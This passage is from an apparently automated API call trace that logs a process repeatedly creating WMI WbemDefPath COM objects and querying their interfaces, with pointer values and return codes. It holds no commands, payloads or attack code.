[3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0127.202] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5ce6088, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdd078) returned 0x0 [0127.202] WbemDefPath:IUnknown:Release (This=0x5ce6088) returned 0x0 [0127.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd078, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdd078) returned 0x0 [0127.203] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd078, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0127.203] WbemDefPath:IUnknown:AddRef (This=0x5cdd078) returned 0x3 [0127.203] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd078, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0127.203] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd078, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0127.203] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd078, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5ce60a8) returned 0x0 [0127.203] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5ce60a8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.203] WbemDefPath:IUnknown:Release (This=0x5ce60a8) returned 0x3 [0127.203] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0127.203] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0127.203] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd078, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0127.203] WbemDefPath:IUnknown:Release (This=0x5cdd078) returned 0x2 [0127.203] WbemDefPath:IUnknown:Release (This=0x5cdd078) returned 0x1 [0127.203] SetEvent (hEvent=0x4fc) returned 1 [0127.205] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5ce6088) returned 0x0 [0127.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x5ce6088, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0127.205] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5ce6088, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdd0e8) returned 0x0 [0127.205] WbemDefPath:IUnknown:Release (This=0x5ce6088) returned 0x0 [0127.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd0e8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdd0e8) returned 0x0 [0127.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd0e8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0127.206] WbemDefPath:IUnknown:AddRef (This=0x5cdd0e8) returned 0x3 [0127.206] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd0e8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0127.206] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd0e8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0127.206] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd0e8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5ce60b8) returned 0x0 [0127.206] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5ce60b8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.206] WbemDefPath:IUnknown:Release (This=0x5ce60b8) returned 0x3 [0127.206] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0127.206] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0127.206] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd0e8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0127.206] WbemDefPath:IUnknown:Release (This=0x5cdd0e8) returned 0x2 [0127.206] WbemDefPath:IUnknown:Release (This=0x5cdd0e8) returned 0x1 [0127.206] SetEvent (hEvent=0x500) returned 1 [0138.394] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5ce6308) returned 0x0 [0138.394] WbemDefPath:IUnknown:QueryInterface (in: This=0x5ce6308, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0138.395] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5ce6308, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdd008) returned 0x0 [0138.395] WbemDefPath:IUnknown:Release (This=0x5ce6308) returned 0x0 [0138.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd008, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdd008) returned 0x0 [0138.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd008, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0138.395] WbemDefPath:IUnknown:AddRef (This=0x5cdd008) returned 0x3 [0138.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd008, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0138.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd008, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0138.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd008, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5ce6318) returned 0x0 [0138.395] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5ce6318, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0138.395] WbemDefPath:IUnknown:Release (This=0x5ce6318) returned 0x3 [0138.395] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0138.396] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0138.396] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd008, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0138.396] WbemDefPath:IUnknown:Release (This=0x5cdd008) returned 0x2 [0138.396] WbemDefPath:IUnknown:Release (This=0x5cdd008) returned 0x1 [0138.396] SetEvent (hEvent=0x4c4) returned 1 [0138.417] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5cc1230) returned 0x0 [0138.417] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cc1230, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0138.417] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5cc1230, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdceb8) returned 0x0 [0138.418] WbemDefPath:IUnknown:Release (This=0x5cc1230) returned 0x0 [0138.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdceb8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdceb8) returned 0x0 [0138.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdceb8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0138.418] WbemDefPath:IUnknown:AddRef (This=0x5cdceb8) returned 0x3 [0138.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdceb8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0138.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdceb8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0138.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdceb8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5cc1220) returned 0x0 [0138.418] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5cc1220, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0138.418] WbemDefPath:IUnknown:Release (This=0x5cc1220) returned 0x3 [0138.418] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0138.418] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0138.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdceb8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0138.418] WbemDefPath:IUnknown:Release (This=0x5cdceb8) returned 0x2 [0138.418] WbemDefPath:IUnknown:Release (This=0x5cdceb8) returned 0x1 [0138.418] SetEvent (hEvent=0x454) returned 1 [0138.421] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5cc1230) returned 0x0 [0138.421] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cc1230, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0138.421] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5cc1230, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdce48) returned 0x0 [0138.421] WbemDefPath:IUnknown:Release (This=0x5cc1230) returned 0x0 [0138.421] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdce48, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdce48) returned 0x0 [0138.422] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdce48, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0138.422] WbemDefPath:IUnknown:AddRef (This=0x5cdce48) returned 0x3 [0138.422] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdce48, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0138.422] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdce48, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0138.422] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdce48, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5cc1250) returned 0x0 [0138.422] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5cc1250, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0138.422] WbemDefPath:IUnknown:Release (This=0x5cc1250) returned 0x3 [0138.422] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0138.422] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0138.422] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdce48, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0138.422] WbemDefPath:IUnknown:Release (This=0x5cdce48) returned 0x2 [0138.423] WbemDefPath:IUnknown:Release (This=0x5cdce48) returned 0x1 [0138.423] SetEvent (hEvent=0x464) returned 1 [0138.425] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5cc1230) returned 0x0 [0138.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cc1230, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0138.425] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5cc1230, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdcdd8) returned 0x0 [0138.425] WbemDefPath:IUnknown:Release (This=0x5cc1230) returned 0x0 [0138.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcdd8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdcdd8) returned 0x0 [0138.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcdd8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0138.426] WbemDefPath:IUnknown:AddRef (This=0x5cdcdd8) returned 0x3 [0138.426] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcdd8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0138.426] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcdd8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0138.426] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcdd8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5cc1260) returned 0x0 [0138.426] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5cc1260, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0138.426] WbemDefPath:IUnknown:Release (This=0x5cc1260) returned 0x3 [0138.426] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0138.426] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0138.426] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcdd8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0138.426] WbemDefPath:IUnknown:Release (This=0x5cdcdd8) returned 0x2 [0138.426] WbemDefPath:IUnknown:Release 